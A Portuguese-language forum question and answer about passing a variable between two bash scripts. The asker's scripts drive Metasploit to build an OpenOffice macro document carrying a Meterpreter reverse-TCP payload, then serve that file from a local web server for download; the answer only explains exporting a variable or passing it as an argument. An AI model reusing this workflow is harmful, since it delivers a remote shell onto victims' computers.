Passa o parâmetro para um shell bash diferente

0

Eu escrevi um script bash

Script1.sh

#!/bin/sh    
read -p "Enter name of the document file :" name    
read -p "Enter LHOST  :" lhost    
read -p "Enter LPORT  :" lport    
echo "use exploit/multi/misc/openoffice_document_macro    
set set payload windows/meterpreter/reverse_tcp_allports    
set FIlENAME $name.odt    
set LHOST $lhost    
set LPORT $lport    
exploit    
background    
exploit" > output.txt    
set ExitOnSession false    
gnome-terminal -e "./script2.sh"    
echo "Now Starting metasploit !"    
msfconsole -r open_office_macro.rc    

script2.sh

#!/bin/sh    
file=/root/.msf4/local/$name.odt    
if [ -f "$file" ]    
then    
        cp /root/.msf4/local/$name.odt /var/www/html    
        cd /var/www/html    
        python -m SimpleHTTPServer    
else    
        echo "$file not found."    

fi    

Como posso passar o parâmetro $ name de script1 para script2?

    
por noob 21.09.2018 / 09:29

1 resposta

0

Existem duas possibilidades:

  1. Torne uma variável exportada (nesse caso, eu recomendaria escrever tudo em maiúsculas, ou seja, NAME). Se você fizer isso, ele será colocado no ambiente do processo filho.
  2. Passe como um parâmetro explícito.

Exemplo para 1:

# Use it as exported variable
export NAME
read -p .... NAME

Exemplo para 2

# in script1:
read -p .... name
script2.sh $name

# Fetch it in script2:
name="${1?No name supplied}"
    
por 21.09.2018 / 10:04